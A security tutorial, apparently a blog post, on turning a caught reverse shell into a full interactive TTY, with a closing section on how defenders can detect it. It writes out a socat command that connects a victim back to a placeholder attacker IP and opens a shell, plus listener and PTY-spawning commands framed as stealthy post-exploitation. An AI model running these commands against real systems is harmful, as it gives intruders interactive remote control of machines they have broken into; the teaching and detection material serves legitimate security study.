Reverse shells: how to stabilize the TTY
You just caught a reverse shell on your nc -lvnp 4444 and… it's a letdown: no tab-completion, no arrow-key history, Ctrl-C kills the whole connection instead of the command, and the moment you run ssh, su or vi it hangs. That's a dumb shell. Stabilizing it —turning it into a full TTY— is the first post-exploitation move, and it completely changes how comfortable (and stealthy) the work is.
Why the shell is "dumb"
When bash starts attached to a socket instead of a terminal (a PTY), there's nothing to handle signals, line editing or job control. It's not that bash is limited — it's missing the terminal. Check it:
tty
# not a tty <- that's the problem
The goal is to give it a PTY and then align your local terminal with it.
1. Get a PTY
The classic, if the target has Python:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# no python3? try: python -c '...' or /usr/bin/script -qc /bin/bash /dev/null
Now you have a prompt with user and host, but Ctrl-C still kills the shell and there's no history. The second half is missing.
2. The full TTY (the stty "dance")
This is the trick that separates a usable shell from a frustrating one. In order:
# on the victim shell (already with the PTY from step 1)
export TERM=xterm
# suspend it with Ctrl-Z (back to YOUR terminal)
# --- now on YOUR machine ---
stty raw -echo; fg
# (press Enter once or twice; the shell returns)
reset
stty raw -echo tells your terminal not to process or echo keys: it passes them raw to the remote shell, which now handles Ctrl-C, arrows and Tab. Finally, fix the size so vi/less don't break: check your real size with stty size and mirror it:
# on your machine: stty size -> e.g. "38 116"
# on the remote:
stty rows 38 columns 116
socat variant.3. The comfortable option: socat
If you can drop a binary, socat gives you a real end-to-end PTY without the stty dance. On your machine, the listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444
And on the victim:
socat tcp:YOUR_IP:4444 exec:'bash -li',pty,stderr,setsid,sigint,sane
Result: Ctrl-C, tab-completion, editors… everything works out of the box.
4. Extras that help
rlwrap nc -lvnp 4444— history and line editing even without stabilizing (handy on Windows/targets without Python).export SHELL=/bin/bash; export TERM=xterm-256color— correct colors and behavior.- If the connection drops a lot, run
tmuxon your side so you don't lose your work.
For the Blue Team: what this looks like
Stabilizing a shell leaves a very characteristic trail. Watch for:
- An interactive child process hanging off a service that should never spawn shells:
bash/shwith parentnginx,apache2,java… - The pattern
python -c 'import pty'orscript -qc /bin/bashon the command line (auditexecvewith auditd/Sysmon-for-Linux, or catch it in EDR). - Outbound connections to unusual high ports from server processes.
# auditd: alert on suspicious pty spawns
auditctl -a always,exit -F arch=b64 -S execve -F exe=/usr/bin/python3 -k pty_spawn
ausearch -k pty_spawn
Checklist
- ✅ PTY with
python pty.spawn(orscript) - ✅
Ctrl-Z→stty raw -echo; fg→reset - ✅
export TERM=xtermandstty rows/columns - ✅ Can you drop binaries? Use
socatand skip the dance - ✅ As a defender: service-child shells +
pty.spawnin logs
Two minutes of stabilization turn a shell that dies on the first Ctrl-C into a terminal where you can edit files, switch users and work as if local. And knowing how it's done is exactly what the person who has to detect it needs.